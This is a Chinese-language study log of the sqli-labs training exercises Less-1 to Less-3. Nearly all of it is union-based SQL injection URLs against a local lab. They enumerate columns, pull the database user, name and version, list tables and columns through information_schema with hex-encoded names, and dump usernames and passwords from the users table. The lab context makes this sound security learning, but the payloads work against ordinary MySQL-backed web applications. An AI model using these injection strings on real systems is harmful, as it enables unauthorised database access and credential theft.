1. 程式人生 > >sqli-labs學習記錄(一)

sqli-labs學習記錄(一)

0x01 less-1

‘$id’
單引號注入

這裡寫程式碼片
http://localhost/sqli-labs-master/Less-1/?id=14' order by 3-- +   //猜欄位

這裡寫圖片描述

http://localhost/sqli-labs-master/Less-1/?id=14' union select 1,2,3-- +  //檢視內容

這裡寫圖片描述
發現伺服器依舊只返回了第一條查詢的資訊,這是因為後臺有個mysql_fetch_array只執行了一遍,那如何繞過呢,就是把第一個查詢置為空集。

http://localhost/sqli-labs-master/Less-1/?id=15' union select
1,2,3-- + //id=0或者15都可以,因為測試了裡面只有14項紀錄,所以無論是0還是15第一行查詢都是返回空集

這裡寫圖片描述
只有第二列和第三列會顯示在螢幕上,但是僅僅這兩個位置並不夠,因此需要用到資料庫連線函式concat和concat_ws
concat_ws的第一個引數是連線字串的分隔符。

http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,concat_ws(char(32,58,32),user(),database(),version())-- +

http://localhost/sqli-labs-master/Less-1
/?id=15' union select 1,2,concat_ws(char(58),user(),database(),version())-- +

記住常用的幾個資料庫函式

  • user()查詢當前資料庫連線使用的使用者
  • database()檢視當前資料庫連線使用的資料庫
  • version()檢視當前資料庫的版本
http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,table_name from information_sche
ma.tables where table_schema=security-- +   //查詢系統表

這裡寫圖片描述
可以看到,這裡用where是不可以使用英文的,具體的是編碼原因,查詢information_schema中的資訊時,使用where語句值不能直接用英文

http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479-- +  //使用16進製成功
http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1-- +

只能返回一個table,這時就要用的limit了。limit用於限制飯回家過的範圍
這裡寫圖片描述
找我們最感興趣的user表

http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 2,1-- +    //可以通過改變limit來枚舉出user表有3個欄位分別是id/username/password

0x02 less-2

$id

http://localhost/sqli-labs-master/Less-2/?id=0 union select 1,2,concat_ws(':',user(),database(),version()) -- +

http://localhost/sqli-labs-master/Less-2/?id=0 union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1-- +

http://localhost/sqli-labs-master/Less-2/?id=0 union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1-- +

http://localhost/sqli-labs-master/Less-2/?id=0 union select 1,2,concat_ws(':',id,username,password) from users limit 2,1-- +

0x03 less-3

(‘$id’)

http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,2,3-- +

http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,concat_ws(char(58),user(),database(),version())-- +

http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479-- +

http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273-- +

http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,2,concat_ws(':',id,username,password) from users limit 2,1-- +